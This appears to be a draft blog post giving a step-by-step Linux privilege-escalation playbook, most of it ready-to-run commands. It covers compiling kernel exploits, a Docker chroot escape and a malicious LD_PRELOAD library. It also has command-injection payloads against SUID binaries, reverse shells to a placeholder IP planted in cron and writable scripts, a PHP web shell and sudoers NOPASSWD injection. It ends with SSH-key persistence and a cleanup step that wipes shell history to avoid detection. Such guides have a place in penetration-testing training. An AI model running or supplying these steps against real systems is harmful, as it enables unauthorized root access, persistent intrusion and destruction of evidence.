• 7/31/24
• 7 min read

Draft

Linux Privilege Escalation: Going Up!

Privilege escalation on a Linux system is about exploiting specific vulnerabilities, misconfigurations, or oversights to gain elevated access — typically root. Even on a hardened system, subtle weaknesses like improperly configured SUID/SGID binaries, world-writable files, or unpatched kernel exploits can provide an attacker with a path to escalate privileges. The process involves thorough enumeration to uncover these opportunities, followed by precise exploitation, whether through command injection, leveraging environment variables, or exploiting vulnerable binaries. Mastery of these techniques allows you to move from basic user access to full system control, a crucial step in both offensive security and system hardening.

1. Initial Enumeration

System Info

uname -a

If you find that the system is running an outdated kernel version, such as 3.10.0-327, search for related exploits using searchsploit.

searchsploit 3.10.0-327

If an exploit (e.g. Dirty C0W (CVE-2016-5195)) is found, download and compile it.

searchsploit -m linux/local/40616.c
gcc -pthread 40616.c -o dirtyc0w
./dirtyc0w

Kernel Version

uname -r

If uname -r shows a kernel version with a known local exploit, search for it using searchsploit:

searchsploit <kernel_version>

For example, if the kernel is 2.6.32-431, search for relevant exploits.

searchsploit 2.6.32-431

Download and execute the exploit.

searchsploit -m linux/local/15285.c
gcc 15285.c -o exploit
./exploit

User & Group Info

id

If you are part of an uncommon or privileged group like docker or lxd, search for container escape techniques.

For Docker:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

whoami

If you're logged in as a low-privilege user but can see that you have sudo privileges without a password, you can escalate immediately:

sudo su

cat /etc/passwd

If you find a user with UID 0 but a non-standard shell or directory, investigate further by attempting to switch to that user:

su <username>

2. Environment Enumeration

Environment Variables

env

If you find an environment variable like LD_PRELOAD or PATH manipulated, create a malicious shared library to exploit LD_PRELOAD:

Create a malicious shared library:

// malicious.c
void _init() {
    setgid(0);
    setuid(0);
    system("/bin/sh");
}

gcc -shared -o /tmp/malicious.so -fPIC malicious.c
export LD_PRELOAD=/tmp/malicious.so

SUID Binaries

find / -perm -4000 -type f 2>/dev/null

Imagine you find a custom binary named /usr/local/bin/backup with the SUID bit set. This binary was intended to perform backups, but it was poorly coded and does not sanitize input properly. It allows you to append additional commands to its execution.

If the backup binary accepts a file name as an argument and directly passes it to a system call like system() or exec(), you can inject commands by adding a semicolon and your desired command.

/usr/local/bin/backup "; /bin/bash -p"

Here, the -p flag preserves the SUID privileges, allowing you to spawn a root shell. This command executes the backup binary, but the semicolon allows you to terminate the expected command and start a new one, effectively giving you a shell with elevated privileges.

SGID Binaries

find / -perm -2000 -type f 2>/dev/null

Assume you find a script named /usr/local/bin/logsync with the SGID bit set to a privileged group, such as adm (which often has access to system logs). This script is intended to sync log files, but it doesn't properly handle user input and directly passes arguments to a command within the script.

If the script allows you to pass arguments, you could inject a command by manipulating the input. For example.

/usr/local/bin/logsync "/var/log/syslog; /bin/bash"

In this scenario, the script tries to sync /var/log/syslog, but the semicolon terminates the logsync command and then opens a new shell (/bin/bash). The shell inherits the group privileges (e.g., adm), allowing you to read or modify logs that require elevated privileges.

Processes

ps aux

If you find a process running as root that is insecurely handling files, search for an exploit related to it:

Check if you can manipulate the files or intercept the process for privilege escalation.

echo "your code" > /path/to/target/file

Scheduled Tasks

crontab -l

If you find a cron job running a script as root from a writable location like /tmp, replace the script with your own:

Replace the script with a reverse shell.

echo "/bin/bash -i >& /dev/tcp/your_ip/your_port 0>&1" > /tmp/root_script.sh

cat /etc/crontab

If /etc/crontab is writable by your user, modify it to run a malicious command:

Add a reverse shell to crontab.

echo "* * * * * root /bin/bash -i >& /dev/tcp/your_ip/your_port 0>&1" >> /etc/crontab

Network Info

netstat -tuln

If you find an open service with known vulnerabilities, like vsftpd 2.3.4, search for an exploit using searchsploit:

searchsploit vsftpd 2.3.4

Use Metasploit to run the exploit:

msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST <target_ip>; run"

iptables -L

If there are no restrictive firewall rules, you might be able to access other vulnerable services on the network:

Probe the network for other accessible services to exploit further:

nmap -sT -p- <target_ip>

3. File & Directory Permissions

World-Writable Files & Directories

find / -writable -type d 2>/dev/null

If you find a world-writable directory in a critical path, such as /var/www/html on a web server, you could place a malicious script there if the web server runs with elevated privileges.

Place a malicious PHP script in the web directory to execute a shell.

echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

Interesting Files

ls -la /etc/sudoers

If the /etc/sudoers file or a file within /etc/sudoers.d/ is writable, you could escalate privileges by modifying it to grant yourself sudo access without a password:

Add a rule to allow your user to execute any command as root without a password:

echo "yourusername ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers.d/custom
sudo su

find / -type f -name ".sh" -perm -o+w 2>/dev/null

If you find any world-writable script files that are executed by root (e.g., via cron jobs), you could add malicious commands to escalate privileges:

Append a reverse shell command to the writable script.

echo "/bin/bash -i >& /dev/tcp/your_ip/your_port 0>&1" >> /path/to/writable_script.sh

4. Review Installed Software

Package Lists

dpkg -l

If you find an outdated package with a known exploit, search for it using searchsploit:

searchsploit <package_name>

Download and execute the exploit.

searchsploit -m <exploit_id>.c
gcc <exploit_id>.c -o exploit
./exploit

rpm -qa

Script for automating dpkg -l output to run through searchsploit

#!/bin/bash
dpkg -l | awk '{print $2 " " $3}' | while read line; do
    pkg=$(echo $line | awk '{print $1}')
    ver=$(echo $line | awk '{print $2}')
    echo "[*] Searching for exploits for $pkg version $ver..."
    searchsploit "$pkg $ver"
done

Similar to dpkg -l, if you find an outdated or vulnerable package:

Search for an exploit:

searchsploit <package_name>

5. Exploit Enumeration

Search for Exploits

If your enumeration reveals a vulnerable kernel, software, or SUID binary, search for an exploit using searchsploit or online resources:

searchsploit <vulnerability_name_or_version>

Download, compile, and execute the exploit to gain root access.

searchsploit -m <exploit_id>.c
gcc <exploit_id>.c -o exploit
./exploit

Searchsploit is a go-to tool for finding and exploiting known vulnerabilities.

Automated Tools

./linpeas.sh

If LinPEAS finds an interesting SUID binary, like /usr/bin/ab with insecure permissions, check GTFOBins or searchsploit for how to exploit it:

Search for an exploit method.

# Search for "ab" on GTFOBins
/usr/bin/ab -c "id > /tmp/output"

Check the output file to verify root access.

This example is less common, but valid if you encounter a lesser-known or uncommon SUID binary.

6. Attempt Privilege Escalation

Exploit Vulnerabilities

If you’ve identified a vulnerability through previous steps, now is the time to exploit it.

Search for the specific exploit using searchsploit or Exploit-DB

searchsploit <vulnerability>

Execute the specific exploit to gain root privileges.

./exploit

This is a common path once a vulnerability is identified.

Test SUID/SGID Binaries

Suppose the result of running the SUID permissions search provided us with an uncommon binary like below:

find / -perm -4000 -type f 2>/dev/null 

Output

```output
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/simplecopy
```

Next step would be to run strings on that puppy to see what sort of calls it might have it in it that would run with higher privileges:

strings /usr/bin/simplecopy

Output

```
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
exit
__stack_chk_fail
system
__cxa_finalize
setgid
__libc_start_main
snprintf
GLIBC_2.2.5
GLIBC_2.4
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Usage: %s <source> <destination>
cp %s %s
```

In this instance cp is available to us and we provide the source and destination. Next, let's see if they protected it from tacking on commands:

/usr/bin/simplecopy HELP '/HELP && echo "chacho ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers && ls /root'

Excellent, now we can simply drop ourselves into a root shell:

sudo -i 

Abuse Misconfigured Cron Jobs

If you discovered a cron job executing a script from a writable location, replace it with a malicious script:

Add a reverse shell.

echo "/bin/bash -i >& /dev/tcp/your_ip/your_port 0>&1" > /tmp/root_job.sh

Wait for the cron job to execute and catch the root shell.

7. Post-Exploitation

Confirm Privilege Escalation

id

If id shows you as UID=0(root), you've successfully escalated privileges. This is a realistic verification step after successful privilege escalation.

whoami

Confirming you are root with this command.

Persistence

Once you have root, you may want to maintain access:

Add your SSH key to the root account:

echo "your_ssh_public_key" >> /root/.ssh/authorized_keys

8. Clean Up

Remove Artifacts

After achieving your goals, delete any traces of your activities to avoid detection:

Remove scripts, binaries, or log entries related to your actions.

rm -f /tmp/exploit /tmp/root_job.sh /tmp/malicious.so
history -c